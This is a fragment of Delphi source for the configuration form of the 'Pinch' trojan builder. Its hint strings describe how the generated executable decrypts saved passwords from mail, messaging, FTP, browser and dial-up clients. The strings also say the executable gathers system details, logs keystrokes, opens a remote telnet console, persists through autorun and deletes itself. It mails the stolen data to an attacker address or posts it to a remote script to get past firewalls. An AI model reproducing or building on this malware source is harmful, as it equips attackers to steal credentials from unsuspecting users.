procedure TMainForm.SetInfo(const Text: String);
begin
  if InfoMemo.Text <> Text then
    InfoMemo.Text := Text;
end;



procedure TMainForm.ResolveButtonMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Resolve host.');
end;

procedure TMainForm.PortEditMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('SMTP server''s port, usually 25.');
end;

procedure TMainForm.TestButtonMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Test if SMTP server works properly.');
end;

procedure TMainForm.CompileButtonMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Build exe file.');
end;

procedure TMainForm.ICQ99bCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt ICQ99b-2002a passwords.');
end;

procedure TMainForm.MirandaCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt miranda-icq 1.2.0, 1.2.1, 0.3 passwords.');
end;

procedure TMainForm.ICQ2003CheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt ICQ2003a/Lite passwords.');
end;

procedure TMainForm.SelfCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Pinch.exe will delete itself after sending passwords.');
end;

procedure TMainForm.OutlookCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt MS Outlook/Outlook Express passwords.');
end;

procedure TMainForm.TheBatCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt The Bat! (mailer) passwords.');
end;

procedure TMainForm.TrillianCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt Trillian/Trillian PRO AIM/ICQ passwords.');
end;

procedure TMainForm.IECheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt IE autocomplete (eg. passwords from hotmail.com web interface) & secure sites (when you enter on such site you''ve been asked for a pass) passwords.');
end;

procedure TMainForm.PackCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Pack executable, reduces output size significantly. Recommended.');
end;

procedure TMainForm.InfoMemoMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Here you will see some hints.');
end;

procedure TMainForm.SysinfoCheckMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Get information about OS, memory, processor, hard drives, name of the logged user, host name, IP.');
end;

procedure TMainForm.RetriesEditMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Number of retries to send message through SMTP (if connection error occured, for example).');
end;

procedure TMainForm.IntervalEditMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Interval(delay) in seconds between data sending retries, after successfull retry executable terminates process.');
end;

procedure TMainForm.ToEditChange(Sender: TObject);
begin
  SetInfo('Email address which will receive message with passwords.');
end;

procedure TMainForm.FromEditChange(Sender: TObject);
begin
  SetInfo('Email address message will be sent from. Beware, ' +
          'if it can''t be delivered to recepient, mail will return to this address. Usually this email should be registered on server (example: to send email from smtp.mail.ru you have to be registered as some_user@mail.ru and From field should be ' +
          'filled with this email address).');
end;

procedure TMainForm.IPEditChange(Sender: TObject);
begin
  SetInfo('IP address of SMTP server, eg. 192.169.16.5; If you don''t know how to obtain IP adress, write host (like smtp.mail.ru) and press "Resolve" button. ' +
          'Please choose clear server (w/o CRAM-MD5 authentication, etc) and test it a few times from compiled Pinch.exe.');
end;

procedure TMainForm.FarCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt FTP passwords in FAR Manager.');
end;

procedure TMainForm.WTCCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt FTP passwords in Windows/Total Commander.');
end;

procedure TMainForm.RasCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt RAS passwords, w95/98/2k/XP supported.');
end;

procedure TMainForm.TrojanCheckMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Copy executable into Windows directory and add it to autorun. Once copy procedure finished, ' + 
          'trojan will run itself from Windows directory.');
end;

procedure TMainForm.RQCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Decrypt &RQ passwords.');
end;

procedure TMainForm.KeyLogCheckMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Enable Key-log features, don''t use with FILE protocol option enabled.');
end;

procedure TMainForm.ConsoleCheckMouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
  SetInfo('Create remote console. Should not be used with HTTP/FILE protocol modes. To connect to a remote machine use: telnet IP 2050.');
end;

procedure TMainForm.HTTPURLEditChange(Sender: TObject);
begin
  SetInfo('URL of the remote script, should not contain banners & popup stuff.');
end;

procedure TMainForm.HTTPSubjEditChange(Sender: TObject);
begin
  SetInfo('Subject that will be assigned with an e-mail message.');
end;

procedure TMainForm.HTTPCheckEditChange(Sender: TObject);
begin
  SetInfo('Status-bar check value. Script should contain the following html code at the end:'#13#10'<script language="JavaScript">window.status = "inserted-check-value";</script>');
end;

procedure TMainForm.SMTPRadioMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Use SMTP client to send e-mail messages.');
end;

procedure TMainForm.HTTPRadioMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Firewall bypass using IE COM automation (see HTTP properties).');
end;

procedure TMainForm.FileRadioMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Write encrypted data into text file. Should not be used with ''Key-log'' or ''Act as Trojan'' modules.');
end;

procedure TMainForm.IconCheckMouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
  SetInfo('Attach icon.');
end;

procedure TMainForm.FilePathEditChange(Sender: TObject);
begin
  SetInfo('Path to a file for storing encrypted data.');
end;

procedure TMainForm.WTCCheckEnter(Sender: TObject);
begin
  WTCCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.ICQ99bCheckEnter(Sender: TObject);
begin
  ICQ99bCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.ICQ2003CheckEnter(Sender: TObject);
begin
  ICQ2003CheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.MirandaCheckEnter(Sender: TObject);
begin
  MirandaCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.TheBatCheckEnter(Sender: TObject);
begin
  TheBatCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.OutlookCheckEnter(Sender: TObject);
begin
  OutlookCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.TrillianCheckEnter(Sender: TObject);
begin
  TrillianCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.IECheckEnter(Sender: TObject);
begin
  IECheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.SelfCheckEnter(Sender: TObject);
begin
  SelfCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.PackCheckEnter(Sender: TObject);
begin
  PackCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.SysinfoCheckEnter(Sender: TObject);
begin
  SysinfoCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.CompileButtonEnter(Sender: TObject);
begin
  CompileButtonMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.ResolveButtonEnter(Sender: TObject);
begin
  ResolveButtonMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.PortEditEnter(Sender: TObject);
begin
  PortEditMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.RetriesEditEnter(Sender: TObject);
begin
  RetriesEditMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.IntervalEditEnter(Sender: TObject);
begin
  IntervalEditMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.TestButtonEnter(Sender: TObject);
begin
  TestButtonMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.FarCheckEnter(Sender: TObject);
begin
  FarCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.RasCheckEnter(Sender: TObject);
begin
    RasCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.TrojanCheckEnter(Sender: TObject);
begin
  TrojanCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.RQCheckEnter(Sender: TObject);
begin
  RQCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.KeyLogCheckEnter(Sender: TObject);
begin
  KeyLogCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.ConsoleCheckEnter(Sender: TObject);
begin
  ConsoleCheckMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.SMTPRadioEnter(Sender: TObject);
begin
  SMTPRadioMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.HTTPRadioEnter(Sender: TObject);
begin
  HTTPRadioMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.FileRadioEnter(Sender: TObject);
begin
  FileRadioMouseMove(Self, [], 0, 0);
end;

procedure TMainForm.IconCheckEnter(Sender: TObject);
begin
  IconCheckMouseMove(Self, [], 0, 0);
end;